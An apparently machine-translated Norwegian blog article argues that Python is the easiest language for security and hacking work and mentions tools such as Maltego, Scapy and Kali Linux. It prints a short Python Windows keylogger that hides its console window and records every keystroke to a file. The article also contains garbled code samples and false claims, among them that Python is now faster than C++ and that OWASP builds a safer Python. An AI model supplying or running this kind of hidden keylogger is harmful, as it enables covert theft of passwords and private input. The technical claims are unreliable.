Gray Hat Python - Så for to år tilbake forsket jeg på programmeringsspråk, jeg begynte å lese om C, C ++, Assembly, Python og Ruby. Jeg ønsket å bli en ekspert på cybersikkerhet. Så jeg begynte å lære så mye jeg kan. Begynte med at C, C ++ og C # var det grunnleggende, og etter å ha lært og satt sammen mange programmer og virus, begynte jeg til slutt å lære Kali Linux. For de som ikke vet hva Kali Linux er, er det et operativsystem for penetrasjonstesting. Så jeg gikk videre med studiene mine, og det jeg så var at de fleste programmene, virusene og trojanerne ble samlet i Python, og basen deres var Ruby.

Så jeg stoppet studiene for tiden og begynte å lære Python eller for å være presis Gray Hat Python og tadaa … Det var ekstremt enkelt sammenlignet med C, C # eller noe annet språk jeg lærte. Jeg fikk endelig vite hvorfor Python var det mest brukte språket og hvordan det ble berømt.
Så i dag ville jeg diskutere hvordan Python ble forvandlet til Gray Hat Python og hvorfor den brukes så mye at til og med Google og YouTube bruker den i databasen sin for å gi så nøyaktige søkeresultater som de kan.

Fra og med er Python et programmeringsspråk på høyt nivå, noe som betyr at syntaksene er ekstremt enkle å lese, selv for nybegynnere. Hvis du er ny på programmering, vil dette være språket jeg vil foreslå deg å starte med. La meg gi deg et eksempel:

Slik ser det ut i C: -

#include

int main()
(
printf("Hello world\n");
return 0;
)

Slik ser det ut i Java: -

class HelloWorld
(
public static void main (String args())
(
System.out.println ("Hello World");
)
)


Og slik ser det ut i Python (v2.7)

print "Hello World"

Enkel? Ja, det er det. Så Python var ikke bare lett å skrive og forstå, men også veldig kompakt. Så lurer du kanskje på hvordan dette førte til Gray Hat Python?

Anbefalte kurs

  • IP-rutingtrening
  • Hacking Training Course
  • Fullfør RMAN-opplæring
  • Python-programmeringstrening

Python vs Gray Hat Python

Så hva er egentlig Gray Hat Python? Hvorfor er den så forskjellig fra vår normale Python? Saken er Grey Hat Python er ikke noe annet enn programmer skrevet i Python av Hackere, Network-Stress-testere og Reverse Engineers for å lage eller knekke et program. Men begrepet Gray Hat brukes fordi det ikke akkurat er en fordelaktig eller brukerprogramvare. Det brukes til å sikre, eller lage en sikkerhetsbrytende programvare.

Det kan enkelt brukes til enten å teste begrensningene i et sikkert miljø eller for å bryte inn i et sikkert miljø. Det er hva Gray Hat betyr. Og det er langt lettere å gjøre det i Python i stedet for å gjøre det i C, C ++ eller java. Dermed navnet Gray Hat Python. Få eksempler jeg kan tenke på er:

• Skrive nøkkelloggere (for hackere og pentestere)
• Skrive sikkerhetsskallskript (for nettverksadministratorer)
• Skrive et automatisert IDS (Intrusion Detection System for Security Engineers)

Så nå vet du hvorfor og hvordan Gray Hat Python er nyttig. For å utdype dette, la meg gi deg noen detaljerte eksempler.
Du har kanskje hørt om Google App Engine. Google App Engine ble opprinnelig designet i Python før den ble portet på. Google App er et riktig eksempel på et program skrevet i Python, fordi det gjør det mulig å bygge nettapplikasjoner ved å bruke sin avanserte samling av biblioteker, verktøy og rammer.

Noen gang lurt på hvorfor er det så enkelt å søke noe på Google? Det meste av tiden får du søkeresultater som er 80% nøyaktige. Dette er fordi Python er ekstremt fleksibel, fungerer i høy hastighet og databasene er mye mer kompakte, selv om det lagrer 'n' antall informasjon. Python er så utvidbar at til og med YouTube bruker den til formål som å se på video, kontrollere maler, administrere video, tilgang til kanoniske data og mange flere.

Google har gjennomsøkere og edderkopper som samler inn data så snart de er lastet opp på nettet, uansett hvor eller hvor sikker den er. Man trenger bare en skikkelig inspirasjon, tid og kunnskap for å samle denne informasjonen.

Google-søk var tidligere basert på Python, som det senere ble endret til C ++ for hastighetsoptimalisering fordi Google-gjennomsøkere gjennomsøker mange sider i sekundet, og det tar noen minutter å gjennomgå vellykket. Python, for tiden er mye raskere enn C ++, men det var ikke det samme tilfellet for noen tiår siden.

Det var et kjent sitat sitert av Google: -
"Python der vi kan, C ++ der vi må."

Så lurer du kanskje på hvordan dette kan brukes til hacking, Pentesting og nettverkssikkerhet. Jeg ber om å avvike. Hvis du kan lage et program som er 70% -80% nøyaktig for å gi effektive søkeresultater, kan du sannsynligvis bygge et program som kan koble til nettsteder, søke smart og bygge en profil av en person som heller kan brukes av individuelle svarte hatter for ondsinnede formål. La enkeltpersoner til side, en hvis smart nok, enkelt kan bygge en applikasjon for å bygge en profil for et selskap, hele treet fra roten til hva du enn kan tenke på …

Informasjonssamling via Maltego

Du tenker kanskje at jeg overdriver litt. Nei, det er jeg IKKE!

Tenk på eksempler som Maltego. Maltego er en programvare, eller jeg kan bedre formulere den som åpen kildekode-rettsapplikasjon, bygget for å samle informasjon og bygge profil for mennesker, firmaer og andre bedriftsbyråer.

Man trenger bare å legge inn riktige data i appen, og resten av ting som å koble e-post, mennesker, gruppe mennesker, til og med å bestemme internettinfrastruktur som domener, DNS-navn, Netblocks og IP-adresser kan kobles og kobles sammen ved hjelp av denne open source-intelligensen .

For mer informasjon besøk for å vite Hva er Maltego?

Så hvis tilgang til "Hemmelig informasjon" bestemmer suksessen din, kan Maltego hjelpe deg med å oppdage den. Maltego er delvis skrevet i Python og bruker også Java som igjen er et flott språk.

Så mye å sitere om sikkerhet fra Google. For å være mer presis, er Google den minste måten du kan holde deg anonym på nettet, uansett om du bruker inkognito eller www.duckduckgo.com fra chrome. For til slutt blir alt oppdatert på nettet. Poenget med å være her er at det ikke handler om usårbarhet, det handler om å være absolutt sårbar. Man kan ikke tørke seg helt av Internett. Men man kan helt sikkert prøve å holde så lite info på nettet som mulig.

Python er ikke bare et språk, det er et skriptspråk. Skriptspråk lar deg skrive, endre dine egne verktøy når du trenger noe mer tilpasset. Disse nettverkssikkerhetsverktøyene er avhengige av skriptspråk sterkt for utvidbarhet. La oss for eksempel ta Scapy.

Scapy er rent skrevet i Python. Det er et kraftig interaktivt pakkemanipuleringsverktøy. Den kan generere falske pakker på egen hånd, skanne nettverk og kan til og med snuse pakker i nettverket.

Finn detaljert informasjon om Hva er Scapy?

Nå er dette komplekse programmer skrevet av avanserte programmerere. La oss se hvor enkelt det er å skrive et program i Python som lett kan forstås av folk som har noen gode grunnleggende funksjoner i programmering.

Dette er en keylogger skrevet i Python: -

#!/usr/bin/Python
import pyHook
import Pythoncom
import win32gui
import win32console
log_file = "log_file.txt" #name of log file
window = win32console. GetConsoleWindow() #go to script window
win32gui.ShowWindow (window, 0) #hide window
def pressed_chars(event): #on key pressed function
if event.Ascii:
f = open(log_file, "a") # (open log_file in append mode)
char = chr (event.Ascii) # (insert real char in variable)
if char == "q": # (if char is q)
f.close() # (close and save log file)
exit() # (exit program)
if event.Ascii == 13: # (if char is "return")
f.write("\n") # (new line)
f.write(char) # (write char)

proc = pyHook.HookManager() #open pyHook
proc.KeyDown = pressed_chars #set pressed_chars function on KeyDown event
proc.HookKeyboard() #start the function
Pythoncom.PumpMessages() #get input

Så dette er langt mer enn enkelt hvis du spør meg. Jeg har bare lagt til modulene pyhook, Pythoncom, win32gui og win32console som du enkelt kan laste ned fra sourceforge-nettstedet, og jeg har nevnt kommentarene ved å bruke hash-taggen. Men hvis jeg må skrive det samme programmet i C ++, la oss se hvor vanskelig det kan være.

Dette er et program skrevet i C ++: -

 #include #include #include #include int main(int argc, char ** agrv)( using namepace std; /*Easier*/ char std::vector input_STRUCT = ("S", "T", "O"); char std::vector input_STRUCT_1 = ("P", ""); char std::vector input_STRUCT_2 = ("L", "O", "O", "K", "I", "N", "G"); char std::vector input_STRUCT_3 = ("", "F", "O", "R"); char std::vector input_STRUCT_4 = ("M", "A", "L", "W"); char std::vector input_STRUCT_5 = ("A", "R", "E"); ostream os("C:\users\keylogger.txt"); int i; for( i = 0; i <=2; i++)( os << input_STRUCT(i); for(;i <= 1000000 ;i++)( ) ) for( i=0; i<=1;i++)( os << input_STRING_1(i); for(;i <= 1000000 ;i++)( ) ) for(i=0; i<=6; i++) ( os << input_STRING_2 (i); for(; i <= 1000000 ; i++)( ) for(i=0; i<=3;i++)( os << input_STRING_3(i); for(; i <= 1000000 ;i++)( ) ) for(i=0; i<=3; i++)( os << input_STRING_4(i); for(;i <= 1000000 ; i++)( ) ) for(i=0; i<=2; i++)( os << input_STRING_5(i); for(;i <= 1000000 ; i++)( ) ) os.close(); istream is (" C:\users\keylogger.txt "); cout << is; return 0; ) 

Så dette er ganske stort sammenlignet med Python. Og hvis vi snakker om effektivitet, kan Python enkelt kompileres til en kjørbar uten anstrengelse ved å bruke py2exe-programvare. Mens jeg snakker om C ++, så ærlig talt, er denne koden en vits. For å skrive en ordentlig nøkkellogger, må man skrive en DLL som implementerer WH_KEYBOARD-kroken. Dessuten er denne koden langt borte fra å være lett for en nybegynner å forstå.

Åpen kildekode

Nå tar dette vare på Black Hat-hackere, som for å være mer presise er menneskene som har til hensikt å ødelegge, manipulere data for deres egne behov. Når det snakkes om sikkerhetshensyn, er Python også nyttig for White Hat-hackere som har til hensikt å redde samfunnet fra angrepet av ondsinnede hackere. Hvis du vil utvikle en karriere eller i det minste ønsker å lære Python for sikkerhetsforskning, kan du helt sikkert komme dypt inn med OWASP, BRO eller Quick NIX Secure Script.

OWASP er Open Web Application Security Project. OWASP tar sikte på å lage en sikrere versjon av Python som gjør det enklere for sikkerhetsfolk og utviklere å skrive programvare som er mindre utsatt for angrepet fra hackere. Det er relatert til Black-Box-analyse, identifisering og adressering av sikkerhetsrelaterte problemer som kan påvirke Pythons interaktive tolk.

BRO er et nettverkssikkerhets- og trafikkovervåkningsprogram, mens Quick NIX brukes til å herde og sikre filseierskap på farten.

Siden vi snakker om sikkerhet, la oss snakke om et operativsystem som delvis er basert på Python. Python fungerer utmerket sammen med UNIX, LINUX og Debian. Et av de mest kjente operativsystemene var Backtrack 5. Det ble gitt ut forskjellige versjoner. Den var spesielt designet for PenTesting. Senere trodde menneskene på Offensive Security at Backtrack trengte en omstart fordi de fleste verktøyene enten ikke fungerer ordentlig eller ikke ble støttet.

Senere ga de ut Kali Linux som var helt basert på Debian. Og de fleste av rammene er enten i Ruby eller Python. Ruby er også et fantastisk skriptspråk. Men jeg vil helst foretrekke Python fremfor det. Grunnen til at Python har et mer mangfoldig samfunn med Linux og det er mer direkte og lett å feilsøke. Selv om Ruby selv om den har mange funksjoner og er rask til å tilpasse seg omgivelsene, kan den være vanskelig å feilsøke, vanskelig å lese og er mer sofistikert enn Python.

Det beste eksemplet vil være å sammenligne Apple vs Linux eller sammenligne iphone vs Android. Apple er rik på ressurser og er ekstremt glatt og er mer partisk mot nybegynnere. Mens Linux / Android er mer brukervennlig, litt laggy og kan være en hodepine noen ganger hvis du ikke vet hvordan du konfigurerer eller vedlikeholder den.

Det er til og med en bok basert på Python Gray Hat Hacking av Justin Seitz. Den omhandler spesifikt automatisering av kjedelige omvendt prosjektering og sikkerhetsrelaterte oppgaver, designe din egen debugger, bibliotek og DLL-injeksjon, snuse sikker trafikk over en kryptert økt og bruke Immunity debugger, Sulley og mange flere. Det er en fantastisk bok, det har ikke noe å si om du er nybegynner eller om du er en ekspert, du vil alltid lære en eller annen ting hver gang du leser den.

Konklusjon

Så hvis du er nybegynner, ville Python være det riktige valget for deg å begynne med som ditt første programmeringssikkerhetstestingspråk.

Bare husk en ting til slutt Gray Hat Python er ikke bare et språk, det er en måte å gjøre ting på en ordentlig og rask måte.

Første bildekilde: pixabay.com

Relaterte artikler:-

Her er noen artikler som vil hjelpe deg med å få mer detaljert informasjon om Gray Hat Python, så bare gå gjennom lenken.

  1. Fordelene med cybersikkerhetsverktøy Du må være klar over
  2. Karrierer i Python
  3. Topp 25 fantastiske spørsmål om Python-intervju og svar
  4. Hva er fordelene og begrensningene ved å bruke Python?
  5. Python vs Node.js
  6. Guide to Cyber ​​Security Interview Questions
  7. Ulike typer verktøy for sikkerhetstesting